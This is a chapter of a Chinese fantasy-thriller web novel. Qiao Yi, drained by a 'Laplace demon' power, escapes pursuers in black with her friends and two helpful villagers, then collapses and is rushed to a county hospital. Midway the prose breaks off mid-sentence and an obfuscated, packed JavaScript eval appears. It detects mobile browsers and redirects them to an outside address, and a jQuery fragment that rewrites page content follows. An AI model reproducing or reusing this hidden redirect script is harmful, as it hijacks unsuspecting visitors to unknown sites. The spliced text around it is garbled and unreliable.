乔伊则陷入另一种折磨：体内拉普拉斯妖的高维余韵犹在翻腾，像无形冰刃割裂她的神经。她能感到自己身上的能量已被过度开掘，意识深处有种极其危险的失衡——似乎只要再用那股力量干预一次，她的身体和灵魂都可能彻底崩溃。可想到那些接连现身的黑衣势力，她又隐隐觉得，他们似乎并不会就此罢手。她必须尽快找个安全的环境，让自己平静下来，否则一旦再次冲突爆发，结果不堪设想。 林忻紧皱眉头，不断朝身后回望，声音带着压抑的慌乱：“你们说，追兵会不会折返？刚才那场爆炸和干扰虽然把他们搅乱，可他们能不能很快恢复装备，重新找上来？”学姐微微摇头：“现在说不准……但我们不能停下。”她努力让声音听上去冷静，可连她自己心头都在打鼓。 教授始终沉默，面色苍白中带着隐忍。他强迫自己维持清醒，这位年逾半百的研究学者，本应在学校里安然度日，却因探寻真相一步步陷进了这种刀光血影的局面。他用尽剩余力气攥住林忻的袖口，示意不用太过顾虑自己。“先找到安全地方再说……”他吐字断断续续，却格外坚定。 众人默契地点头，继续往前走。远处视野里，夜雾渐厚，路面泥泞，仿佛没人维护已久。忽然，乔伊似乎看见一堵围墙的灰影耸立在荒地偏侧，那里像是一处废弃农场的遗址，还有半塌的院门露出破败痕迹。她低声对顾子衿道：“那里也许可以暂时容身。”后者迅速抬眸，发现那围墙确实可抵挡部分夜风与可能的枪口视线。虽然不够安全，但起码给众人一个喘息的机会。 学姐与林忻搀着教授先一步挪进那破败院落。顾子衿扶着乔伊最后跟上。院子里荒草半人高，地面还散落着些破旧机械零件，像曾经有人搞过粗糙的修理或养殖，却早已人去楼空。脚踩在枯草上发出沙沙声，听在乔伊耳中，竟有几分失真的恍惚。她紧了紧顾子衿的手臂：“你背伤还在流血……”顾子衿却轻描淡写地说：“不碍事，等会儿找块干净布……先给教授处理一下再说。” 乔伊心里又是一阵酸楚：他总是把别人放在首位，无论自己受多大伤都不肯说。这样的温柔与隐忍，让她愈加不敢放任那股高维之力胡作非为——如果她彻底沦陷，是否就会伤害到这个珍贵的人？她带着无数纠结的思绪，跟着众人走到院子一角相对干燥的地方，放下包裹。林忻取出 hastily 准备的简易绷带，为教授查看发热的伤口。教授皱着眉头，却还是说：“不严重……稍微敷点药就好。”可看他脸色，谁都知道恐怕不止这么简单。 过了几分钟，院落上空依旧死寂，只有夜风卷着黄沙飘进来，配合木门吱呀声，营造出令人心慌的氛围。学姐把外套盖在教授身上，不住给他揉肩取暖。顾子衿用矿泉水简单冲洗了肩背附近，忍着疼痛找了布条把伤口紧紧扎住。乔伊看在眼里心如刀割，可她除了递上一双颤抖的手，也无力做更多。那股高维能量在她体内躁动，却像被锁在笼中的凶兽，一旦放出，可能就会毁掉一切…… “顾子衿……”乔伊低声唤道，想说点什么，一时却又哽住。她多想告诉他：若再有危机，她会毫不犹豫拼死干预，让他得到保护，但那代价却是她形神俱灭。顾子衿似乎猜到她心思，转头对她轻轻摇头，语气温柔而坚定：“我们一起想办法，别再独自承担。”乔伊听到这句“别再独自承担”，心里像被暖流冲击，眼眶泛红，默默点了点头。 就在此时，院外似乎响起某种异样的风声，或许是幻觉，也或许是有人踩在草地上。林忻和学姐立即警觉起来，互相对视一眼，放下手边东西，摸向破败院门。乔伊顿时心弦绷紧：“难道真是追兵？”她捏了捏顾子衿的手，示意如果情况不妙，就立刻带教授撤离。但他们刚要站起身，却听见一个陌生且沙哑的男声低声喊道：“别怕！我们不是那伙人的……你们受伤了吗？需要帮助吗？” 听到这话，学姐先是一愣，随即与林忻对望，心想，这声音并非那些黑衣势力里传出的凶狠指令，倒多了些人性化。紧接着，破院门处出现一束弱光，一个中年男人手握电筒探照过来，穿着带泥点的旧夹克。身后还跟着另一个样貌稍年轻的男子，背着个大包，手里也拿着应急灯。见到顾子衿等人果真狼狈不堪地藏在废墟里，这两人显得有些惊讶，但面容中并无敌意。 林忻忍不住问：“你们……是谁？”那中年男人举起手掌，示意自己没有武器：“我叫柏山，这是我侄子小陈。我们在附近村子修整机器，偶尔会来这边找些废旧零件，晚上路过看到这边有亮光，就过来看看……没想到遇到你们。”他话语带着方言口音，但显然听得懂外来客的普通话。 学姐和林忻对视一眼，暂时放松警惕：“你们……没遇到什么奇怪的人吗？”年轻的小陈飞快地回答：“之前那边半山好像传来巨大的爆炸声，不知道出什么事儿了，我们打算过去看看，但远远看见黑烟和灯光乱闪，就不敢靠近……你们是不是遇到麻烦了？”他注意到教授的虚弱状态，连忙走近翻包，似乎想找些药品。 乔伊心脏砰砰直跳，显然两人并非敌人，而是意外闯入的“善意者”。她犹豫片刻，还是小声道：“请你们别去那里了，很危险，有人带着武器搜捕……我们也是被牵连。”柏山神色一紧：“果然出大事了。”他见到被子衿背上的血迹，赶紧招呼小陈：“快，把你那个急救包拿出来！” 就这样，柏山与小陈简单给顾子衿和教授包扎了一番。虽然不是专业医护，但也提供了及时的止血纱布和消炎药。教授和顾子衿都感到一阵轻松，林忻与学姐不断向他们道谢。乔伊则小心环顾四周，唯恐那帮势力突然找到这里。她忍不住问：“能不能……先带我们离开这儿，最好是去城市或医院……” 柏山沉吟几秒：“我们有辆小货车停在山脚，车子不算大，但应该能挤下你们……只是要绕过矿区那一侧，可能得多花点功夫。”他看着众人伤势，不由得摇头：“如果不治疗，拖得久了怕耽误病情。” 学姐喜出望外，可又想起那些黑衣人：“可大哥，你们敢带我们走？万一路上碰到……”话没说完，柏山便沉声道：“我能看出你们有难处，何况那些持枪匪徒也不是好人。我们只是普通老百姓，没法对抗他们，但总不能看着你们留在这荒郊受苦。” 小陈也在旁边使劲点头：“是啊，再怎么危险，总得先把人救出去对吧？等到了镇上，我们再想法子报警或者联系镇政府，看能不能保护你们。” 这一番话让顾子衿心里大受触动：先前一直在逃命，遇到的都是阴谋算计与疯狂追杀，忽然出现一对普通却善良的村民，令他仿佛重温了某种人性光辉。乔伊也低头微笑，眼眶泛酸，不知道该怎么表达谢意才好。 就这样，稍作休整后，柏山和小陈在前头带路，一行人小心离开废弃农场，走过长满野草的荒地。月色下，那小货车孤零零地停在半山腰的一片空地，车厢里堆满了各种破旧零件，旁边还散乱着几只铁桶。几人费了好大劲才把这些杂物腾出空位，教授和顾子衿在林忻、学姐搀扶下坐上了后排，乔伊最后跟上。一般来说，这些载重车并不适合乘坐，但眼下也顾不得其他，只要能走就行。 趁小陈打火启动，柏山爬上驾驶座，朝后面喊道：“得先走老路，虽然颠簸点，但能避开矿区哨点。你们抓稳了！”小货车冒出低沉的轰鸣，摇摇晃晃地上了土路。车灯在夜色里照出狭窄的视野，前方山路弯弯曲曲，时而是凸起岩石，时而是乱窜的野草。车身在颠簸间差点撞上土坡，幸好柏山车技还算了得，总能在关键时刻把住方向盘。 乔伊和顾子衿一路上紧张地盯着周围，生怕黑暗中冲出几辆越野车或持枪人马。可开了差不多十多分钟，除了风声与偶尔的虫鸣，并未见任何异常动静。兴许对方此刻还在收拾那场混乱的残局，暂时没能赶来。她心中依然忐忑，却也微微松口气。 “你们到底……是怎么和那伙人冲突起来的？”小陈一边专注帮柏山照路，一边回头问。他似乎对这些“城里来的人”充满好奇。顾子衿简单应道：“我们是做学术研究的，没想到他们不知是哪个势力，非要扣人抓我们……” 林忻怕说多了牵扯出教授的研究机密，以及乔伊无法解释的神秘力场，便故作无奈地补充：“也许他们要抢设备，也许是怕我们泄露什么。”言语中闪烁其词，却也足够让柏山和小陈明白，这些人是被不法团伙盯上了。 “唉，这年头，山里头也不太平。”柏山叹口气，“以前我们也听说过这里有非法开矿，运走很多稀有矿石，还发生过塌方事故，后来好像就被军警和某些人封锁……咳，总之是乱七八糟。你们能捡条命就不错了，剩下就别多想。” 乔伊望着车窗外的夜色，心里五味杂陈。本以为找到教授的设备残骸，就能结束这次冒险，却没想到背后牵扯出如此巨大的黑幕资本和未知势力。她回忆起矿洞塌方、黑衣人围捕，还有那瞬间爆发的高维力场，都让她明白：她早已卷进了一场浩大的征途，不可能回到原先风平浪静的生活。 随着车辆的颠簸，一部分疲惫的情绪包围了她，眼皮愈发沉重。可怜她几乎一夜未合眼，加上精神力被消耗得干干净净，如今意识已经处在模糊边缘。恍惚间，她似乎又听见拉普拉斯妖那带着磁性的嗓音，在她脑中似笑非笑：“你还在抗拒……然而你明白我们的契约之力已生效，终有一天，你将难以分清我与自己。”一阵头痛袭来，她捂住额头，小声呻吟。 顾子衿立刻察觉到她异样，伸手托住她肩膀：“你怎么了？要不要休息？”乔伊强忍疼痛，勉强抬眸：“我……有点头晕。”顾子衿把自己外套垫在她背后，让她靠上车厢的铁皮，用手轻轻按住她太阳穴，力道温柔而笨拙：“先眯会儿，我帮你留意周围。”乔伊微微点头，勉强闭上眼，却能听到他那轻声的安抚：“放心，有我在，我决不会再让你一个人去承担……”她心底一阵酸胀，又止不住地流出热泪。比起之前的枪林弹雨，这一句话更可以搅动她的内心。 车子继续在破旧山路上颠簸近半小时，才渐渐驶入一段相对平缓的土坡。柏山松了口气：“快要到乡镇公路了，如果顺利，我们两个小时之内能到县医院。”学姐和林忻都露出如释重负的神情，一想到教授和顾子衿终于能得到专业救治，心就稍微安稳了些。 然而往往危机总在侥幸时降临。就在柏山准备把车拐向公路的一刻，远方忽然闪过刺眼的大灯，竟然是两辆SUV急速驶来，车身上明显架着探射灯，粗暴地扫过四周，显然在巡查什么。柏山当机立断，一脚刹车踩死，熄灭车灯，让小货车隐没在半高的土坡后面。林忻和学姐心提到嗓子眼儿，暗想：又是那群人？他们居然这么快就赶来了！ 车外夜风呼啸，双方车距在拉近，虽然看不清SUV里的人，但那束探照灯分明在来回搜寻。若再往前开，小货车就会暴露在对方视野里。柏山脸色一变，小声跟小陈说：“先别动，我看他们会不会直接冲过去。”车厢里，众人都屏住呼吸。乔伊也重新睁开疲惫的双眸，敏锐地感知到那两辆SUV的车灯里似乎透出危险而熟悉的寒意——她能感觉得到，车里的人，和那群黑衣势力恐怕脱不了干系。 SUV在土坡前几米外猛地停下，车门开阖声回荡在空旷夜里。有人嚷嚷：“查仔细，这附近可能还有他们的同伙！”林忻咽了口唾沫，心想：果然是冲我们来的。教授勉强抬起头，手心全是冷汗。此刻，无论是乔伊还是顾子衿，都几乎没有了再度发起正面硬抗的资本。一旦被对方发现，只有死路一条或再度落入魔掌。 “怎么办？”学姐的声音紧绷到极限。柏山也一脸为难：这破货车没法飞，也没法瞬间消失。小陈握紧方向盘，甚至想踩油门冲出去，但那简直是送死。乔伊咬着嘴唇，强迫自己冷静。她在心里呼唤那道高维力量，却发现意识里传来极度痛楚，如同刀剜一般。这时，她忽然想起自己曾利用过“概率干扰”来改变对方的注意力，也许此刻还能尝试极微弱的影响，不一定需要大规模力场。哪怕只在关键几秒让对方眼睛偏开，也能争取脱逃机会。但她现在是否还能成功？ 她深吸一口气，对顾子衿低声道：“帮我……挡着点，我想看看能不能再次引导他们的注意力。”顾子衿一怔，随即立刻伸手搂住她，尽力让她保持平稳。乔伊闭上眼，体内某处深沉的灵魂呼唤开始微弱地震颤。她强迫自己不去接近拉普拉斯妖的完整力量，只在一种极小幅度上尝试干涉周围概率场——好比往湖里投入一粒沙，而非巨石。或许这样的微调可以避免过度反噬。 SUV那边，几名黑衣人拿着强光手电绕着土坡四下查看，还差几步就快转到货车所在的遮蔽侧面。只要再走十米，货车定会被发现。此时乔伊的额角汗珠滚落，意识中那熟悉的高维脉络再次出现，但她能感觉磁场的紊乱，身躯像被万千尖刺扎住。她咬破唇，用尽全力把那微不可察的“念头”抛向空气：**“你们只管往相反方向找，现在没有异常。”**简短的一句话，却在她脑海无限回响。她多希望对方能产生“此处没人”的假象。 那几名黑衣人走到半坡处，其中一个皱着眉嘟囔：“看起来没有轮胎痕迹啊，要不往另一边看看？”另一个则狐疑地探身朝右方探照，“怪了，这里本该是必经之路呀……”最终，为首黑衣人甩了甩手灯，看似厌烦地道：“再往前搜十米，没有就拉回去，别浪费时间。” 车厢里，每个人的心都悬到极点。乔伊死死攥着顾子衿的手，手指几乎抠进他掌心的血肉。她能感受到自己灵魂几乎崩裂的痛苦——这远比之前更费神，因为她正尽量掩饰干扰痕迹，不可让对方出现那种强烈的异样感。那为首黑衣人果然向前走了几步，离货车只剩下五六米的距离，然后随意地晃了一圈手电，再毫无所获地转回去喝道：“走吧！估计他们往别处逃了。” 此话一出，柏山和小陈都差点发出惊叹。林忻与学姐长舒一口气。教授紧闭的眼睛忽然热泪夺眶而出。顾子衿最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15109858|162071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是清楚，在这生死一刻，乔伊做出了何等惊险的尝试。SUV队伍随即撤回车辆，那些黑衣人打开车门，一阵发动机轰鸣后，浩浩荡荡地往占山公路另一边驶去。昏黄车灯渐行渐远。直到声音消失在夜色里，众人才敢相信，自己又一次躲过致命危机。 然而代价同样沉重。乔伊闷哼一声，随即猛地吐出一口鲜血。顾子衿惊骇地把她抱紧：“乔伊！你怎么了？”她脸色瞬间白得骇人，眼神涣散，浑身颤抖不已。透支破限的痛苦直攻心肺，拉普拉斯妖像在她意识中狂刺，她几乎说不出话来，只能让眼泪混着血水落下。 林忻和学姐也吓坏了，手忙脚乱地过来找毛巾、药物，却不知道她到底中了什么毒。教授则紧咬牙关，似乎隐约猜到乔伊又动用了那“非凡力量”，实际是遭到强烈反噬。但在普通人的认知里，完全无法理解她为何会吐血。 顾子衿急得不行，把乔伊半揽在怀里：“你撑住……不会有事的……”乔伊神志越发模糊，却依稀抓住他衣襟，小声呢喃：“别……别离开我……”随即整个人昏了过去。 一时间，车厢里人人惊惶失措。柏山猛踩油门：“快！我们要加速去医院了！”小陈赶紧把车灯重新打开，货车轰鸣着冲上公路，向县城方向全力驶去。教授强忍不适，嘶声对学姐道：“给她……先垫高头部，小心别被呛咳……有止痛片也可以先喂一些……”学姐手足无措地翻包，林忻则一边抚着乔伊的脸颊，一边瑟瑟发抖：“她好烫……” 货车像离弦之箭在夜路狂飙，不顾减速带与路面塌陷的风险。柏山生怕速度不够，小陈更是探出身子盯紧前方，一旦发现他车技跟不上，立刻提醒。可众人心头只有一个念头：赶紧把乔伊送往医院！ 一路上，乔伊昏迷不醒，身体时而痉挛颤动。她似沉入某个深海梦魇中，不停地被黑暗巨浪吞噬，却在耳畔听见拉普拉斯妖狞笑：“你越是害怕，越想维持人性，就越被命运吞噬……你想保护所有人，却不愿完全拥抱我的力量？那就让你尝点苦头……”这声音时近时远，像魔鬼在加深她的痛苦。她想挣扎，却无能为力，只有绝望地任凭意识下坠…… 正当她几乎快被淹没之际，突然有道微光浮现——那是顾子衿的眼神与言语浮现在她记忆里：“别再独自承担，我们一起走出这里。”那一瞬，乔伊似乎找到一线依托，倔强地握住那道光，哪怕只是毫厘也不愿松手。她也不愿完全堕入拉普拉斯妖的深渊。混沌中，她压抑着咳血的痛，更像是在和某种天命作对抗…… 也不知过去多久，破破烂烂的小货车终于颠到了县医院的急诊室外。街道上已是凌晨两三点，但急诊区依然灯火通明。有医护人员见有人受重伤，连忙推来担架，把乔伊和顾子衿也一并接进去。教授和其他人也都险些虚脱，只有柏山和小陈仍勉强打着精神，帮忙填写各种就诊单子。之后他们看着急诊室的灯光，脸上满是复杂：没想到夜里遇见这群人，会发生如此惊险的事情。尽管他们素不相识，却在这兵荒马乱中产生了一份同理心的守护。 急诊室里，医生护士忙成一团，先是查顾子衿的背部枪擦伤，再给乔伊做紧急检查，可他们无法查明她高烧和呕血的根本原因，只能推测为“严重外伤、过度疲劳以及可能的内出血症状”。学姐也不能全盘告知真实情况，只能含糊其辞地说她“身体有特殊隐患”。医生觉得离奇，却无从多问，只能让乔伊先进入抢救室做深度检查。 那盏冰冷的手术灯照在乔伊脸上，她紧闭双眼，仿佛沉睡在绝望中。顾子衿在外头守着，心急如焚。教授也不顾自己腿脚酸软，坚持留下来等结果。林忻和学姐急得围在旁边团团转，无从得知她的病情走向。走廊上消毒水气味刺鼻，空气是寒凉的凝滞。远处传来零星的病患呻吟声，与他们的焦灼无助交织在凌晨这死寂时刻。 不知过了多久，手术室门终于打开，医生神色凝重地出来，摘下口罩：“家属在哪？”顾子衿立刻上前，就连教授都硬撑着站起。医生直视着他们：“目前病人的体温非常高，伴随某种奇怪的生理指标异常，暂时还没查到特定病毒或细菌。我们能做的就是先用常规方式降温、输液、输氧。但她的血象数据……很不寻常。”顾子衿心头猛地一沉，颤声问：“很严重吗？”医生点点头：“简单说，她的免疫系统呈现极度活跃又紊乱的状态，好像体内发生了某种极端应激反应，类似免疫风暴。如果继续恶化，会出现多器官衰竭……” 这番话如同一记重锤，砸得顾子衿几乎站立不稳。林忻失声惊呼，学姐面如土色。教授也愣在原地，忽然一阵胸闷咳嗽，几乎无法呼吸。顾子衿强忍崩溃，竭力让自己冷静：“那……有什么办法吗？我们可以找更好的医疗设备，或者转院……”医生叹气：“这会儿天还没亮，转院也得等，我们就地先做急救看病人能不能扛过去。一旦情况失控，只有最坏的结果。” 说完，他匆匆回到急诊室。顾子衿和其他人都呆住了。乔伊此刻正孤零零地躺在冷冰冰的救护床上搜索生机，而他们却只能在外面心急如焚。林忻眼圈发红，小声责备道：“为什么要一次次消耗乔伊的身体？”在场的人都沉默。没有人比顾子衿更清楚，她多少次是为了保护他们，而被逼迫动用那份不可名状的力量。此刻想责怪谁都毫无意义。 教授低低地说：“我得想法子……不是有些专门研究‘特殊能量’或‘特异现象’的机构吗？也许他们有办法……”但随后，他又想到那些黑衣人背后就是所谓的“神秘机构”，真要把乔伊送到他们手里，恐怕是虎口送羊。那后果更为可怕。 夜还在继续，急诊室外的长椅上，顾子衿握拳默默垂着头，不停责备自己不该让乔伊以命搏命。而乔伊的灵魂仿佛在更深沉的黑暗里浮沉，耳边只有拉普拉斯妖翻腾的嗤笑与她不肯退让的呜咽交织。直到夜也落尽，黎明前的一线曙光透过狭窄窗缝洒在医院走廊，众人才迎来一个残酷的早晨。 随着城市苏醒，外面车声人声渐多，医院也开始换班。学姐帮教授办理输液；林忻去和柏山、小陈会合，商量如何防止黑衣势力追到医院来。顾子衿则仍死守在急诊室门外，等待随时可能传来的变故。医生出来交待：乔伊的体温一直没有降到安全值，虽然暂时保住了心跳，但若再不稳定下来，依然会恶化。 此时此刻，每个人心里都盘旋着同一个问题：乔伊究竟要如何挺过这场凶险的“高维反噬”？她能否重新站起来，再次以笑容回应眼前的朋友？或是走到生命尽头，被命运无情吞噬？再加之那潜伏在暗处的各路势力，随时可能揭开新一轮阴谋。所有答案都笼罩在这座小小的县医院外，不断压迫着众人的心绪。 终究，一切悬念都指向了下一步：一旦乔伊醒来，她会面对怎样的身体与心灵改变？如果她挺不过去，这段旅程又将如何走向迷失？而那拉普拉斯妖，以及更强大的幕后操纵者，又是否会趁此机会对她进行重新“收编”？黑暗与希冀，绝望与爱意，都在这清晨交织，拉开了更大危机的序幕。 （下章预告） 当乔伊命悬一线之际，教授艰难地走出医院，尝试联络外界，却意外发现似乎有人暗中监视。与此同时，顾子衿、林忻和学姐为保护乔伊的性命，决定冒险更换设备或寻找神秘医学专家。可那些荒郊夜里出现的黑衣人，恐怕并非他们唯一需要提防的对手。真正的棋局才刚刚开始，更多隐秘势力都在把目光落到乔伊身上。若要逃离这宿命之网，究竟要付出怎样的代价？敬请期待下章，更深层的阴谋即将浮出水面。